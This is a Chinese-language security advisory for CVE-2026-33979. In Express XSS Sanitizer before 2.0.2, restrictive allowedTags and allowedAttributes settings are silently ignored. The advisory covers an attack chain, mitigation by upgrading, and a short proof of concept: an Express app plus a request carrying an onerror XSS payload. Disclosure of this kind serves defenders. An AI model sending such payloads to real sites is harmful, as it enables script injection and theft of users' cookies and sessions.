IPBUF安全漏洞报告
English
CVE-2026-33979 CVSS 8.2 高危

CVE-2026-33979 Express XSS清理配置忽略漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-33979
漏洞类型
跨站脚本 (XSS)
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Express XSS Sanitizer

相关标签

XSSExpressNode.js中间件Web安全CVSS-8.2

漏洞概述

Express XSS Sanitizer 是 Express 4.x 和 5.x 的中间件,用于清理用户输入以防止 XSS 攻击。在 2.0.2 版本之前,该组件存在漏洞,导致开发人员设置的限制性清理配置(如 allowedTags 或 allowedAttributes)被静默忽略。这使得本应被严格过滤的恶意输入可能被放行,从而导致应用程序遭受跨站脚本攻击。

技术细节

该漏洞源于 Express XSS Sanitizer 在版本 2.0.2 之前对配置参数的处理逻辑存在缺陷。当开发者在配置对象中显式指定 `allowedTags` 或 `allowedAttributes`(例如设置为空数组以禁止所有标签)以实施严格的输入过滤时,受影响的中间件版本会静默忽略这些显式提供的限制性配置,转而使用默认的宽松规则或被内部逻辑覆盖。攻击者利用此漏洞,可以在 HTTP 请求的 body、query、headers 或 params 中精心构造包含恶意 HTML 或 JavaScript 的载荷。由于预期的清理机制失效,这些恶意载荷未被移除或转义,直接进入应用程序的业务逻辑层。随后,当应用程序将数据反射回用户浏览器时,恶意脚本将在受害者上下文中执行,导致存储型或反射型跨站脚本攻击,进而可能窃取 Cookie、会话令牌或执行其他恶意操作。

攻击链分析

STEP 1
侦察
攻击者识别目标应用使用了 Express XSS Sanitizer 中间件,且版本低于 2.0.2。
STEP 2
载荷构造
攻击者构造包含恶意 HTML 标签或事件处理器的 HTTP 请求数据,旨在绕过清理机制。
STEP 3
配置绕过
攻击者发起请求,中间件在处理时忽略了开发者设置的限制性配置(如禁止所有标签),未对恶意载荷进行有效过滤。
STEP 4
注入与执行
恶意载荷被应用服务器处理并反射回客户端,在受害者的浏览器中解析并执行恶意 JavaScript 代码。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-33979 * This demonstrates how the empty allowedTags configuration is ignored in vulnerable versions. */ const express = require('express'); const xss = require('express-xss-sanitizer'); // Version < 2.0.2 const app = express(); app.use(express.json()); // Intended configuration: Allow NO tags (strict sanitization) // Vulnerability: This config is silently ignored, allowing default tags. app.use(xss({ allowedTags: [], allowedAttributes: {} })); app.post('/api/comment', (req, res) => { // Input should be sanitized to plain text, but HTML tags may persist const userInput = req.body.comment; res.send({ result: userInput }); }); app.listen(3000, () => { console.log('Server running on port 3000'); }); /* * Attack Request: * POST /api/comment HTTP/1.1 * Host: localhost:3000 * Content-Type: application/json * * { * "comment": "<img src=x onerror=alert('XSS')>" * } * * Expected Result (Safe): "<img src=x onerror=alert('XSS')>" (escaped) * Actual Result (Vulnerable): The <img> tag is returned unescaped or partially allowed, triggering alert. */

影响范围

Express XSS Sanitizer < 2.0.2

防御指南

临时缓解措施
建议立即将 Express XSS Sanitizer 组件升级至 2.0.2 版本。在升级之前,可以在应用程序层面手动对用户输入进行严格的 HTML 实体编码,或使用其他经过验证的清理库作为临时替代方案,确保不依赖受影响中间件的默认行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表